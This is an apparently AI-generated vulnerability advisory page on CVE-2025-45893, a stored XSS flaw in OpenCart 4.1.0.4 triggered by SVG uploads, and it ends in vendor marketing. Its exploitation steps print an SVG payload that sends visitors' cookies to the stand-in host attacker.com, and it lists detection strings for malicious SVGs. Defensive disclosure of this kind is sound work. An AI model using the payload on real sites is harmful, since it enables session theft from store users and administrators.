CVE-2025-45893
OpenCart vulnerability analysis and mitigation

Overview

CVE-2025-45893 is a Stored Cross-Site Scripting (XSS) vulnerability in OpenCart version 4.1.0.4, exploitable via malicious SVG file uploads in blog posts. The vulnerability was published on July 25, 2025, and arises because SVG files uploaded through the media manager are not properly sanitized, allowing attackers to embed JavaScript that executes in victims' browsers. It carries a CVSS v3.1 base score of 6.1 (Medium) (Red Hat Advisory, Packet Storm).

Technical details

The root cause is improper neutralization of input during web page generation (CWE-79), specifically the failure to sanitize SVG file content uploaded via OpenCart's media manager. SVG files are XML-based and can contain embedded <script> tags or event handlers (e.g., onload) that execute JavaScript when the file is rendered in a browser. An attacker with access to upload media (e.g., a registered user or admin) can craft a malicious SVG and embed it in a blog post; any user who views the post will have the script execute in their browser context. The attack vector is network-based, requires user interaction (victim viewing the post), and the scope is changed, meaning the impact crosses the trust boundary of the application (Red Hat Advisory, Packet Storm).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The confidentiality and integrity impacts are rated Low (limited data exposure and limited content modification), with no direct availability impact. If an administrator views the malicious blog post, the attacker could escalate privileges or perform administrative actions within the OpenCart store (Red Hat Advisory).

Exploitability

A proof-of-concept or exploit details have been referenced via Packet Storm Security, indicating public disclosure of exploitation methodology (Packet Storm). The EPSS score is approximately 0.029% (0.000290), reflecting a low but non-zero probability of exploitation in the wild. There is no current evidence of active in-the-wild exploitation, threat actor attribution, or inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Exploitation steps

  1. Reconnaissance: Identify OpenCart 4.1.0.4 instances with blog functionality enabled and media upload access (e.g., as a registered user or compromised admin account).
  2. Craft malicious SVG: Create an SVG file containing embedded JavaScript, such as:
    <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?c='+document.cookie)">
      <rect width="100" height="100"/>
    </svg>
  3. Upload via media manager: Log into the OpenCart backend or user panel and upload the malicious SVG file through the media manager.
  4. Embed in blog post: Insert the uploaded SVG into a blog post and publish it on the storefront.
  5. Trigger execution: When any user (including administrators) views the blog post containing the SVG, the embedded JavaScript executes in their browser, enabling session hijacking, cookie theft, or other client-side attacks (Packet Storm).

Indicators of compromise

  • Network: Outbound requests from victim browsers to unexpected external domains (e.g., attacker-controlled servers) immediately after viewing blog posts; unusual GET/POST requests containing encoded cookie or session data.
  • File System: Presence of SVG files in the OpenCart media/upload directory containing <script>, onload, onerror, or javascript: strings.
  • Logs: Web server access logs showing SVG files being served from the media directory to multiple users in a short timeframe; admin panel logs showing SVG file uploads by non-administrative or newly created accounts.
  • Browser/Application: Unexpected JavaScript errors or redirects occurring when users view specific blog posts containing SVG images.

Mitigation and workarounds

OpenCart users should update to a patched version of OpenCart beyond 4.1.0.4 as soon as a fix is released by the vendor. As an interim workaround, administrators should disable SVG file uploads in the media manager or restrict upload permissions to trusted administrators only. Additionally, deploying a Web Application Firewall (WAF) with rules to detect and block malicious SVG content can reduce exposure. Regularly audit uploaded media files for suspicious SVG content (Red Hat Advisory).

Additional resources


SourceThis report was generated using AI

Related OpenCart vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-18412CRITICAL9.1
  • OpenCart logoOpenCart
  • cpe:2.3:a:opencart:opencart
NoNoAug 10, 2026
CVE-2021-47946MEDIUM6.9
  • OpenCart logoOpenCart
  • cpe:2.3:a:opencart:opencart
NoYesMay 10, 2026
CVE-2021-47953MEDIUM5.3
  • OpenCart logoOpenCart
  • cpe:2.3:a:opencart:opencart
NoYesMay 10, 2026
CVE-2026-84438LOW2
  • OpenCart logoOpenCart
  • cpe:2.3:a:opencart:opencart
NoNoSep 02, 2026
CVE-2026-84437LOW2
  • OpenCart logoOpenCart
  • cpe:2.3:a:opencart:opencart
NoNoSep 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management